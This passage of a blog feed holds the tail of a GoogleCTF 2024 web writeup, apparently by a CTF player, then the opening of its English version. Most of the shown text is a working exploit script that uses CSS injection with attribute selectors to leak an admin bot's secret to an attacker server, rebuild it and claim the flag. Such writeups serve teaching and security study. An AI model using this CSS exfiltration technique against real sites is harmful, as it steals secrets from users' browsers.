function">slice</span><span class="token punctuation">(</span>third<span class="token punctuation">,</span> <span class="token number">2</span> <span class="token operator">*</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> arr3 <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> third<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr1<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload1 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload1 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr2<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload2 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload2 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> str <span class="token keyword">of</span> arr3<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    payload3 <span class="token operator">+=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">:host-context(*[secret*="</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">"])&#123;--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">:url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/leak?q=</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")&#125;\n</span><span class="token template-punctuation string">`</span></span>    crossPayload3 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">-webkit-cross-fade(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, var(--</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>str<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">, none), 50%)</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span>payload1 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p1&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload1<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span>payload2 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p2&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload2<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span>payload3 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>payload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> .p3&#123;background-image:</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>crossPayload3<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string"> &#125;</span><span class="token template-punctuation string">`</span></span><span class="token keyword">function</span> <span class="token function">filterFirst</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> item</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  <span class="token keyword">let</span> found <span class="token operator">=</span> <span class="token boolean">false</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> a <span class="token keyword">of</span> arr<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>a<span class="token operator">===</span>item <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>found<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      found <span class="token operator">=</span> <span class="token boolean">true</span>      <span class="token keyword">continue</span>    <span class="token punctuation">&#125;</span>    result<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token parameter">secret</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://in-the-shadows-web.2024.ctfcompetition.com/check-secret?secret='</span> <span class="token operator">+</span> secret<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">res</span> <span class="token operator">=></span> res<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>text <span class="token operator">!==</span> <span class="token string">'Invalid secret'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>text<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token parameter">err</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'err'</span><span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> ending</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> ending  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ending<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">let</span> isFound <span class="token operator">=</span> <span class="token boolean">false</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> j<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> j<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> j<span class="token punctuation">)</span> <span class="token keyword">continue</span>        <span class="token keyword">let</span> suffix <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token keyword">let</span> prefix <span class="token operator">=</span> arr<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>suffix <span class="token operator">===</span> prefix<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>          isFound <span class="token operator">=</span> <span class="token boolean">true</span>          <span class="token keyword">continue</span>        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>isFound<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'ending:'</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span><span class="token function">filterFirst</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'Error, please try again'</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> found <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> length <span class="token operator">=</span> ending<span class="token punctuation">.</span>length    <span class="token keyword">let</span> suffix <span class="token operator">=</span> ending<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> ending<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>    <span class="token keyword">let</span> prefix <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>suffix <span class="token operator">===</span> prefix<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      found<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token function">filterFirst</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">+</span> ending<span class="token punctuation">]</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> found<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span>item<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> item<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">handleLeak</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">''</span>  <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>leaks<span class="token punctuation">]</span>  leaks <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'received:'</span><span class="token punctuation">,</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">const</span> merged <span class="token operator">=</span> <span class="token function">mergeWords</span><span class="token punctuation">(</span>arr<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'leaked:'</span><span class="token punctuation">,</span> merged<span class="token punctuation">.</span><span class="token function">flat</span><span class="token punctuation">(</span><span class="token number">9999</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> merged<span class="token punctuation">.</span><span class="token function">flat</span><span class="token punctuation">(</span><span class="token number">9999</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/leak'</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  leaks<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>q<span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'recevied:'</span><span class="token punctuation">,</span> req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>q<span class="token punctuation">,</span> leaks<span class="token punctuation">.</span>length<span class="token punctuation">)</span>  <span class="token comment">//console.log(leaks)</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>leaks<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">105</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token function">handleLeak</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">let</span> s <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">)</span>    s <span class="token operator">=</span> s<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token parameter">item</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>item<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">'000'</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token number">40</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">return</span> <span class="token boolean">true</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'secret:'</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span>    <span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> f <span class="token keyword">of</span> s<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'try:'</span><span class="token punctuation">,</span> f<span class="token punctuation">,</span> <span class="token operator">++</span>i<span class="token punctuation">)</span>      <span class="token keyword">await</span> <span class="token function">getFlag</span><span class="token punctuation">(</span>f<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token string">'000'</span><span class="token punctuation">,</span> <span class="token string">'00000000'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">'ok'</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload1'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload1'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload1<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload2'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload2'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload2<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload3'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload3'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload3<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/payload'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'payload'</span><span class="token punctuation">)</span>  <span class="token keyword">let</span> payload <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload1");\n@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload2");\n@import url("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload3");</span><span class="token template-punctuation string">`</span></span>  res<span class="token punctuation">.</span><span class="token function">setHeader</span><span class="token punctuation">(</span><span class="token string">'Content-Type'</span><span class="token punctuation">,</span> <span class="token string">'text/css'</span><span class="token punctuation">)</span>  res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">listen</span><span class="token punctuation">(</span>port<span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Example app listening on port </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>port<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>    <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token function">sendToBot</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;style>@font-feature-values 'lol; @\\\\0069mport "</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token constant">BASE</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">/payload";p' &#123;&#125;&lt;/style>&lt;p class="p1">&lt;/p>&lt;p class="p2">&lt;/p>&lt;p class="p3">&lt;/p></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">function</span> <span class="token function">sendToBot</span><span class="token punctuation">(</span><span class="token parameter">payload</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://in-the-shadows-web.2024.ctfcompetition.com/share-with-admin?body='</span> <span class="token operator">+</span> <span class="token function">encodeURIComponent</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">r</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;p&gt;這半年左右因為有其他事情在忙，有段時間沒有好好打一場 CTF 了，這次為了 GoogleCTF 2024 騰出時間，跟隊友一起把所有 web 都解掉了。&lt;/p&gt;
&lt;p&gt;然後題目依舊很有趣，這次有三題有參與到，另外兩題比較簡單的隊友都先解掉了，沒機會看，但還是會稍微做個紀錄。難得有這種幾乎都是 client-side challenge 的 CTF，我是滿喜歡的。&lt;/p&gt;
&lt;p&gt;關鍵字：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;URL parser 繞過&lt;/li&gt;
&lt;li&gt;parseInt 後面可以帶字串&lt;/li&gt;
&lt;li&gt;[a-Z] regex 會包含特殊字元&lt;/li&gt;
&lt;li&gt;cookie tossing&lt;/li&gt;
&lt;li&gt;CSS injection&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>GoogleCTF 2024 Writeups</title>
    <link href="https://blog.huli.tw/2024/06/28/en/google-ctf-2024-writeup/"/>
    <id>https://blog.huli.tw/2024/06/28/en/google-ctf-2024-writeup/</id>
    <published>2024-06-28T02:40:00.000Z</published>
    <updated>2024-06-28T12:44:11.851Z</updated>
    
    <content type="html"><![CDATA[<p>For the past half year, I have been busy with other things and haven’t had a chance to participate in a CTF. This time, I made time for GoogleCTF 2024 and solved all the web challenges with my teammates.</p><p>The challenges were interesting as always. I participated in three of them, while my teammates quickly solved the other two simpler ones before I could even take a look. Nevertheless, I will make a brief record of them. I really enjoy CTF challenges that are mostly client-side focused.</p><p>Keywords:</p><ol><li>Bypassing URL parser</li><li>Adding strings after parseInt</li><li>[a-Z] regex includes special characters</li><li>Cookie tossing</li><li>CSS injection</li></ol><span id="more"></span><h2><span id="grand-prix-heaven-67-solves">GRAND PRIX HEAVEN (67 solves)</span></h2><p>My teammates were too fast, and they solved it before I could join in.</p><p>The core code snippet is as follows:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">"/fave/:GrandPrixHeaven"</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> 